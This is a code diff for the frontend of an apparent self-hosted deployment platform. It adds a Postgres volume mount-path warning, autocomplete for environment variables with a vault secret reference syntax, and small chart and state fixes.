const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
|
||||
|
||||
const addDockerImage = z.object({
|
||||
dockerImage: z.string().min(1, "Docker image is required"),
|
||||
command: z.string(),
|
||||
@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
|
||||
}
|
||||
}, [data, form]);
|
||||
|
||||
const dockerImage = form.watch("dockerImage");
|
||||
|
||||
const mountPathWarning = (() => {
|
||||
if (type !== "postgres" || !dockerImage) return null;
|
||||
const mounts = data && "mounts" in data ? data.mounts : [];
|
||||
const dataMounts = mounts.filter(
|
||||
(mount) =>
|
||||
mount.type === "volume" &&
|
||||
POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
|
||||
);
|
||||
if (dataMounts.length === 0) return null;
|
||||
const expectedPath = getPostgresMountPath(dockerImage);
|
||||
if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
|
||||
return null;
|
||||
}
|
||||
return {
|
||||
expectedPath,
|
||||
currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
|
||||
};
|
||||
})();
|
||||
|
||||
const onSubmit = async (formData: AddDockerImage) => {
|
||||
await mutateAsync({
|
||||
mongoId: id || "",
|
||||
@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
{mountPathWarning && (
|
||||
<AlertBlock type="warning">
|
||||
This image expects its data directory under{" "}
|
||||
<code>{mountPathWarning.expectedPath}</code>, but the
|
||||
volume of this database is mounted at{" "}
|
||||
<code>{mountPathWarning.currentPath}</code>. Changing the
|
||||
image does not migrate existing data — Postgres may
|
||||
crash-loop or start with an empty database. Adjust the
|
||||
volume mount path in the Volumes section or keep a
|
||||
compatible image before saving.
|
||||
</AlertBlock>
|
||||
)}
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
|
||||
@ -6,6 +6,7 @@ import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
||||
},
|
||||
);
|
||||
|
||||
const completionSource = useEnvCompletionSource({
|
||||
includeShared: false,
|
||||
projectId: data?.projectId,
|
||||
environmentId,
|
||||
});
|
||||
const form = useForm<UpdateEnvironment>({
|
||||
defaultValues: {
|
||||
env: data?.env ?? "",
|
||||
@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
||||
<AlertBlock type="info">
|
||||
Use this syntax to reference environment-level variables in your
|
||||
service environments:{" "}
|
||||
<code>API_URL=${"{{environment.API_URL}}"}</code>
|
||||
<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
|
||||
reference secrets from a configured vault provider:{" "}
|
||||
<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
|
||||
</AlertBlock>
|
||||
<div className="grid gap-4">
|
||||
<div className="grid items-center gap-4">
|
||||
@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
||||
<FormLabel>Environment variables</FormLabel>
|
||||
<FormControl>
|
||||
<CodeEditor
|
||||
completionSource={completionSource}
|
||||
lineWrapping
|
||||
language="properties"
|
||||
readOnly={!canWrite}
|
||||
|
||||
@ -6,6 +6,7 @@ import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
||||
},
|
||||
);
|
||||
|
||||
const completionSource = useEnvCompletionSource({
|
||||
includeShared: false,
|
||||
projectId,
|
||||
});
|
||||
const form = useForm<UpdateProject>({
|
||||
defaultValues: {
|
||||
env: data?.env ?? "",
|
||||
@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
||||
.then(() => {
|
||||
toast.success("Project env updated successfully");
|
||||
utils.project.all.invalidate();
|
||||
utils.project.one.invalidate({ projectId });
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error updating the env");
|
||||
@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
||||
<FormLabel>Environment variables</FormLabel>
|
||||
<FormControl>
|
||||
<CodeEditor
|
||||
completionSource={completionSource}
|
||||
lineWrapping
|
||||
language="properties"
|
||||
readOnly={!canWrite}
|
||||
|
||||
@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
|
||||
<Area
|
||||
dataKey="count"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="hsl(var(--chart-1))"
|
||||
fillOpacity={0.4}
|
||||
stroke="hsl(var(--chart-1))"
|
||||
|
||||
@ -63,7 +63,7 @@ export const ShowRequests = () => {
|
||||
const [dateRange, setDateRange] = useState<{
|
||||
from: Date | undefined;
|
||||
to: Date | undefined;
|
||||
}>(getDefaultDateRange());
|
||||
}>(() => getDefaultDateRange());
|
||||
|
||||
// Check if logs exist to determine if traefik has been reloaded
|
||||
// Only fetch when active to minimize network calls
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user